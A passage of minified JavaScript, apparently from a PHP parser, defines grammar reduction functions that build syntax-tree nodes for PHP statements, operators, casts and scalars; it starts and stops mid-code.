,r.Parser.prototype.yyn94=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn95=function(e){this.yyval=this.Node_Stmt_Case(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn96=function(e){this.yyval=this.Node_Stmt_Case(null,this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn97=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn98=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn99=function(e){this.yyval=Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn100=function(e){this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn101=function(e){this.yyval=[]},r.Parser.prototype.yyn102=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn103=function(e){this.yyval=this.Node_Stmt_ElseIf(this.yyastk[this.stackPos-2],Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]],e)},r.Parser.prototype.yyn104=function(e){this.yyval=[]},r.Parser.prototype.yyn105=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn106=function(e){this.yyval=this.Node_Stmt_ElseIf(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn107=function(e){this.yyval=null},r.Parser.prototype.yyn108=function(e){this.yyval=this.Node_Stmt_Else(Array.isArray(this.yyastk[this.stackPos-0])?this.yyastk[this.stackPos-0]:[this.yyastk[this.stackPos-0]],e)},r.Parser.prototype.yyn109=function(e){this.yyval=null},r.Parser.prototype.yyn110=function(e){this.yyval=this.Node_Stmt_Else(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn111=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn112=function(e){this.yyval=[]},r.Parser.prototype.yyn113=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn114=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn115=function(e){this.yyval=this.Node_Param(this.yyastk[this.stackPos-0].substring(1),null,this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn116=function(e){this.yyval=this.Node_Param(this.yyastk[this.stackPos-2].substring(1),this.yyastk[this.stackPos-0],this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-3],e)},r.Parser.prototype.yyn117=function(e){this.yyval=null},r.Parser.prototype.yyn118=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn119=function(e){this.yyval=\"array\"},r.Parser.prototype.yyn120=function(e){this.yyval=\"callable\"},r.Parser.prototype.yyn121=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn122=function(e){this.yyval=[]},r.Parser.prototype.yyn123=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn124=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn125=function(e){this.yyval=this.Node_Arg(this.yyastk[this.stackPos-0],!1,e)},r.Parser.prototype.yyn126=function(e){this.yyval=this.Node_Arg(this.yyastk[this.stackPos-0],!0,e)},r.Parser.prototype.yyn127=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn128=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn129=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.prototype.yyn130=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn131=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn132=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn133=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn134=function(e){this.yyval=this.Node_Stmt_StaticVar(this.yyastk[this.stackPos-0].substring(1),null,e)},r.Parser.prototype.yyn135=function(e){this.yyval=this.Node_Stmt_StaticVar(this.yyastk[this.stackPos-2].substring(1),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn136=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn137=function(e){this.yyval=[]},r.Parser.prototype.yyn138=function(e){this.yyval=this.Node_Stmt_Property(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn139=function(e){this.yyval=this.Node_Stmt_ClassConst(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn140=function(e){this.yyval=this.Node_Stmt_ClassMethod(this.yyastk[this.stackPos-4],{type:this.yyastk[this.stackPos-7],byRef:this.yyastk[this.stackPos-5],params:this.yyastk[this.stackPos-2],stmts:this.yyastk[this.stackPos-0]},e)},r.Parser.prototype.yyn141=function(e){this.yyval=this.Node_Stmt_TraitUse(this.yyastk[this.stackPos-1],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn142=function(e){this.yyval=[]},r.Parser.prototype.yyn143=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn144=function(e){this.yyval=[]},r.Parser.prototype.yyn145=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn146=function(e){this.yyval=this.Node_Stmt_TraitUseAdaptation_Precedence(this.yyastk[this.stackPos-3][0],this.yyastk[this.stackPos-3][1],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn147=function(e){this.yyval=this.Node_Stmt_TraitUseAdaptation_Alias(this.yyastk[this.stackPos-4][0],this.yyastk[this.stackPos-4][1],this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn148=function(e){this.yyval=this.Node_Stmt_TraitUseAdaptation_Alias(this.yyastk[this.stackPos-3][0],this.yyastk[this.stackPos-3][1],this.yyastk[this.stackPos-1],null,e)},r.Parser.prototype.yyn149=function(e){this.yyval=this.Node_Stmt_TraitUseAdaptation_Alias(this.yyastk[this.stackPos-3][0],this.yyastk[this.stackPos-3][1],null,this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn150=function(e){this.yyval=array(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0])},r.Parser.prototype.yyn151=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn152=function(e){this.yyval=array(null,this.yyastk[this.stackPos-0])},r.Parser.prototype.yyn153=function(e){this.yyval=null},r.Parser.prototype.yyn154=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn155=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn156=function(e){this.yyval=this.MODIFIER_PUBLIC},r.Parser.prototype.yyn157=function(e){this.yyval=this.MODIFIER_PUBLIC},r.Parser.prototype.yyn158=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn159=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn160=function(e){this.Stmt_Class_verifyModifier(this.yyastk[this.stackPos-1],this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]|this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn161=function(e){this.yyval=this.MODIFIER_PUBLIC},r.Parser.prototype.yyn162=function(e){this.yyval=this.MODIFIER_PROTECTED},r.Parser.prototype.yyn163=function(e){this.yyval=this.MODIFIER_PRIVATE},r.Parser.prototype.yyn164=function(e){this.yyval=this.MODIFIER_STATIC},r.Parser.prototype.yyn165=function(e){this.yyval=this.MODIFIER_ABSTRACT},r.Parser.prototype.yyn166=function(e){this.yyval=this.MODIFIER_FINAL},r.Parser.prototype.yyn167=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn168=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn169=function(e){this.yyval=this.Node_Stmt_PropertyProperty(this.yyastk[this.stackPos-0].substring(1),null,e)},r.Parser.prototype.yyn170=function(e){this.yyval=this.Node_Stmt_PropertyProperty(this.yyastk[this.stackPos-2].substring(1),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn171=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn172=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn173=function(e){this.yyval=[]},r.Parser.prototype.yyn174=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn175=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn176=function(e){this.yyval=this.Node_Expr_AssignList(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn177=function(e){this.yyval=this.Node_Expr_Assign(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn178=function(e){this.yyval=this.Node_Expr_AssignRef(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn179=function(e){this.yyval=this.Node_Expr_AssignRef(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn180=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn181=function(e){this.yyval=this.Node_Expr_Clone(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn182=function(e){this.yyval=this.Node_Expr_AssignPlus(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn183=function(e){this.yyval=this.Node_Expr_AssignMinus(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn184=function(e){this.yyval=this.Node_Expr_AssignMul(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn185=function(e){this.yyval=this.Node_Expr_AssignDiv(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn186=function(e){this.yyval=this.Node_Expr_AssignConcat(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn187=function(e){this.yyval=this.Node_Expr_AssignMod(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn188=function(e){this.yyval=this.Node_Expr_AssignBitwiseAnd(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn189=function(e){this.yyval=this.Node_Expr_AssignBitwiseOr(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn190=function(e){this.yyval=this.Node_Expr_AssignBitwiseXor(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn191=function(e){this.yyval=this.Node_Expr_AssignShiftLeft(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn192=function(e){this.yyval=this.Node_Expr_AssignShiftRight(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn193=function(e){this.yyval=this.Node_Expr_PostInc(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn194=function(e){this.yyval=this.Node_Expr_PreInc(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn195=function(e){this.yyval=this.Node_Expr_PostDec(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn196=function(e){this.yyval=this.Node_Expr_PreDec(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn197=function(e){this.yyval=this.Node_Expr_BooleanOr(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn198=function(e){this.yyval=this.Node_Expr_BooleanAnd(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn199=function(e){this.yyval=this.Node_Expr_LogicalOr(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn200=function(e){this.yyval=this.Node_Expr_LogicalAnd(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn201=function(e){this.yyval=this.Node_Expr_LogicalXor(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn202=function(e){this.yyval=this.Node_Expr_BitwiseOr(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn203=function(e){this.yyval=this.Node_Expr_BitwiseAnd(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn204=function(e){this.yyval=this.Node_Expr_BitwiseXor(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn205=function(e){this.yyval=this.Node_Expr_Concat(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn206=function(e){this.yyval=this.Node_Expr_Plus(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn207=function(e){this.yyval=this.Node_Expr_Minus(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn208=function(e){this.yyval=this.Node_Expr_Mul(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn209=function(e){this.yyval=this.Node_Expr_Div(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn210=function(e){this.yyval=this.Node_Expr_Mod(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn211=function(e){this.yyval=this.Node_Expr_ShiftLeft(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn212=function(e){this.yyval=this.Node_Expr_ShiftRight(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn213=function(e){this.yyval=this.Node_Expr_UnaryPlus(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn214=function(e){this.yyval=this.Node_Expr_UnaryMinus(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn215=function(e){this.yyval=this.Node_Expr_BooleanNot(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn216=function(e){this.yyval=this.Node_Expr_BitwiseNot(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn217=function(e){this.yyval=this.Node_Expr_Identical(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn218=function(e){this.yyval=this.Node_Expr_NotIdentical(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn219=function(e){this.yyval=this.Node_Expr_Equal(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn220=function(e){this.yyval=this.Node_Expr_NotEqual(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn221=function(e){this.yyval=this.Node_Expr_Smaller(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn222=function(e){this.yyval=this.Node_Expr_SmallerOrEqual(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn223=function(e){this.yyval=this.Node_Expr_Greater(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn224=function(e){this.yyval=this.Node_Expr_GreaterOrEqual(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn225=function(e){this.yyval=this.Node_Expr_Instanceof(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn226=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn227=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn228=function(e){this.yyval=this.Node_Expr_Ternary(this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn229=function(e){this.yyval=this.Node_Expr_Ternary(this.yyastk[this.stackPos-3],null,this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn230=function(e){this.yyval=this.Node_Expr_Isset(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn231=function(e){this.yyval=this.Node_Expr_Empty(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn232=function(e){this.yyval=this.Node_Expr_Include(this.yyastk[this.stackPos-0],\"Node_Expr_Include\",e)},r.Parser.prototype.yyn233=function(e){this.yyval=this.Node_Expr_Include(this.yyastk[this.stackPos-0],\"Node_Expr_IncludeOnce\",e)},r.Parser.prototype.yyn234=function(e){this.yyval=this.Node_Expr_Eval(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn235=function(e){this.yyval=this.Node_Expr_Include(this.yyastk[this.stackPos-0],\"Node_Expr_Require\",e)},r.Parser.prototype.yyn236=function(e){this.yyval=this.Node_Expr_Include(this.yyastk[this.stackPos-0],\"Node_Expr_RequireOnce\",e)},r.Parser.prototype.yyn237=function(e){this.yyval=this.Node_Expr_Cast_Int(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn238=function(e){this.yyval=this.Node_Expr_Cast_Double(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn239=function(e){this.yyval=this.Node_Expr_Cast_String(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn240=function(e){this.yyval=this.Node_Expr_Cast_Array(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn241=function(e){this.yyval=this.Node_Expr_Cast_Object(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn242=function(e){this.yyval=this.Node_Expr_Cast_Bool(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn243=function(e){this.yyval=this.Node_Expr_Cast_Unset(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn244=function(e){this.yyval=this.Node_Expr_Exit(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn245=function(e){this.yyval=this.Node_Expr_ErrorSuppress(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn246=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn247=function(e){this.yyval=this.Node_Expr_Array(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn248=function(e){this.yyval=this.Node_Expr_Array(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn249=function(e){this.yyval=this.Node_Expr_ShellExec(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn250=function(e){this.yyval=this.Node_Expr_Print(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn251=function(e){this.yyval=this.Node_Expr_Closure({\"static\":!1,byRef:this.yyastk[this.stackPos-7],params:this.yyastk[this.stackPos-5],uses:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn252=function(e){this.yyval=this.Node_Expr_Closure({\"static\":!0,byRef:this.yyastk[this.stackPos-7],params:this.yyastk[this.stackPos-5],uses:this.yyastk[this.stackPos-3],stmts:this.yyastk[this.stackPos-1]},e)},r.Parser.prototype.yyn253=function(e){this.yyval=this.Node_Expr_New(this.yyastk[this.stackPos-1],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn254=function(e){this.yyval=[]},r.Parser.prototype.yyn255=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn256=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn257=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn258=function(e){this.yyval=this.Node_Expr_ClosureUse(this.yyastk[this.stackPos-0].substring(1),this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn259=function(e){this.yyval=this.Node_Expr_FuncCall(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn260=function(e){this.yyval=this.Node_Expr_StaticCall(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn261=function(e){this.yyval=this.Node_Expr_StaticCall(this.yyastk[this.stackPos-7],this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn262=function(e){if(this.yyastk[this.stackPos-3].type===\"Node_Expr_StaticPropertyFetch\")this.yyval=this.Node_Expr_StaticCall(this.yyastk[this.stackPos-3].Class,this.Node_Expr_Variable(this.yyastk[this.stackPos-3].name,e),this.yyastk[this.stackPos-1],e);else{if(this.yyastk[this.stackPos-3].type!==\"Node_Expr_ArrayDimFetch\")throw new Exception;var t=this.yyastk[this.stackPos-3];while(t.variable.type===\"Node_Expr_ArrayDimFetch\")t=t.variable;this.yyval=this.Node_Expr_StaticCall(t.variable.Class,this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e),t.variable=this.Node_Expr_Variable(t.variable.name,e)}},r.Parser.prototype.yyn263=function(e){this.yyval=this.Node_Expr_FuncCall(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn264=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn265=function(e){this.yyval=this.Node_Name(\"static\",e)},r.Parser.prototype.yyn266=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn267=function(e){this.yyval=this.Node_Name(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn268=function(e){this.yyval=this.Node_Name_FullyQualified(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn269=function(e){this.yyval=this.Node_Name_Relative(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn270=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn271=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn272=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn273=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn274=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn275=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn276=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn277=function(e){this.yyval=this.Node_Expr_PropertyFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn278=function(e){this.yyval=this.Node_Expr_PropertyFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn279=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn280=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn281=function(e){this.yyval=null},r.Parser.prototype.yyn282=function(e){this.yyval=null},r.Parser.prototype.yyn283=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn284=function(e){this.yyval=[]},r.Parser.prototype.yyn285=function(e){this.yyval=[this.Scalar_String_parseEscapeSequences(this.yyastk[this.stackPos-0],\"`\")]},r.Parser.prototype.yyn286=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn287=function(e){this.yyval=[]},r.Parser.prototype.yyn288=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn289=function(e){this.yyval=this.Node_Scalar_LNumber(this.Scalar_LNumber_parse(this.yyastk[this.stackPos-0]),e)},r.Parser.prototype.yyn290=function(e){this.yyval=this.Node_Scalar_DNumber(this.Scalar_DNumber_parse(this.yyastk[this.stackPos-0]),e)},r.Parser.prototype.yyn291=function(e){this.yyval=this.Scalar_String_create(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn292=function(e){this.yyval={type:\"Node_Scalar_LineConst\",attributes:e}},r.Parser.prototype.yyn293=function(e){this.yyval={type:\"Node_Scalar_FileConst\",attributes:e}},r.Parser.prototype.yyn294=function(e){this.yyval={type:\"Node_Scalar_DirConst\",attributes:e}},r.Parser.prototype.yyn295=function(e){this.yyval={type:\"Node_Scalar_ClassConst\",attributes:e}},r.Parser.prototype.yyn296=function(e){this.yyval={type:\"Node_Scalar_TraitConst\",attributes:e}},r.Parser.prototype.yyn297=function(e){this.yyval={type:\"Node_Scalar_MethodConst\",attributes:e}},r.Parser.prototype.yyn298=function(e){this.yyval={type:\"Node_Scalar_FuncConst\",attributes:e}},r.Parser.prototype.yyn299=function(e){this.yyval={type:\"Node_Scalar_NSConst\",attributes:e}},r.Parser.prototype.yyn300=function(e){this.yyval=this.Node_Scalar_String(this.Scalar_String_parseDocString(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-1]),e)},r.Parser.prototype.yyn301=function(e){this.yyval=this.Node_Scalar_String(\"\",e)},r.Parser.prototype.yyn302=function(e){this.yyval=this.Node_Expr_ConstFetch(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn303=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn304=function(e){this.yyval=this.Node_Expr_ClassConstFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn305=function(e){this.yyval=this.Node_Expr_UnaryPlus(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn306=function(e){this.yyval=this.Node_Expr_UnaryMinus(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn307=function(e){this.yyval=this.Node_Expr_Array(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn308=function(e){this.yyval=this.Node_Expr_Array(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn309=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn310=function(e){this.yyval=this.Node_Expr_ClassConstFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn311=function(e){this.yyval=this.Node_Scalar_Encapsed(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn312=function(e){this.yyval=this.Node_Scalar_Encapsed(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn313=function(e){this.yyval=[]},r.Parser.prototype.yyn314=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn315=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn316=function(){this.yyval=this.yyastk[this.stackPos]},r.Parser.prototype.yyn317=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn318=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn319=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],this.yyastk[this.stackPos-2],!1,e)},r.Parser.prototype.yyn320=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],null,!1,e)},r.Parser.prototype.yyn321=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn322=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn323=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn324=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn325=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-4],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn326=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn327=function(e){this.yyval=this.Node_Expr_PropertyFetch(this.yyastk[this.stackPos-2],this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn328=function(e){this.yyval=this.Node_Expr_MethodCall(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn329=function(e){this.yyval=this.Node_Expr_FuncCall(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn330=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn331=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn332=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn333=function(e){th